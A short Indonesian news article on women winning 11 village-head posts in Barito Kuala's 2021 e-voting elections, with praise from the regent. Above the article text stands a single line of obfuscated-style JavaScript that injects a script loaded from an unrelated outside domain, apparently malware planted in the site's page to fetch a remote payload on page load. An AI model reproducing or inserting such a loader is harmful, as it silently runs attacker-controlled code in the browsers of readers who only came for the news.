(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Keterwakilan Perempuan Raih 6,7 Persen di Pilkades Batola

KANALKALIMANTAN.COM, MARABAHAN – Pemilihan Kepala Desa (Pilkades) Serentak secara Elektronik Voting (E-Voting) di Kabupaten Barito Kuala (Batola) telah rampung dilaksanakan. Dari 163 desa di 17 kecamatan yang menyelenggarakan pilkades 11 orang atau 6,7 persennya dimenangkan oleh calon perempuan.

Ke-11 calon tersebut diantaranya adalah Hj Norliani dari Desa Tabunganen, Muara Kecamatan Tabunganen, Purnamawati dari Desa Tamban Raya, Kecamatan Mekarsari, Mardina dari Desa Sepakat Bersama dan Noorjanah dari Desa Patih Muhur Lama, di Kecamatan Anjir Muara.

Jumlah ini belum lagi terdapat 1 kades dari Desa Batik Kecamatan Bakumpai yang masih belum berakhir masa jabatannya. Sehingga keterwakilan perempuan terhadap kades nantinya mencapai 12 orang atau 7,4 persen.

Bupati Hj Noormiliyani AS menyambut gembira atas terpilihnya sejumlah calon perempuan sebagai kades di Batola periode 2021-2027 tersebut. Kendati totalnya belum mencapai kouta kesepakatan minimal 30 persen.

“Ini tentunya prestasi yang sangat membahagiakan serta rekor bagi Kalsel sekaligus menunjukan kepercayaan masyarakat terhadap pemimpin sudah bertansformasi ke arah perubahan,” paparnya.

Bupati perempuan pertama di Kalsel ini mengatakan, sudah saatnya perempuan diberi kepercayaan dan kesempatan memimpin, mengeksplor kemampuan, kelakuan, karakteristik, serta kultural untuk melebur secara perlahan.

“Saya merasa salut dan bangga atas prestasi yang bahkan perolehan suara mereka sangat signifikan. Kendati semuanya tidak berasal dari kader-kader partai maupun tokoh yang berkecimpung di dunia politik tapi berasal dari berbagai komponen masyarakat,” tutup Normiliyani. (kanalkalimantan.com/rdy)

Reporter : rdy
Editor : kk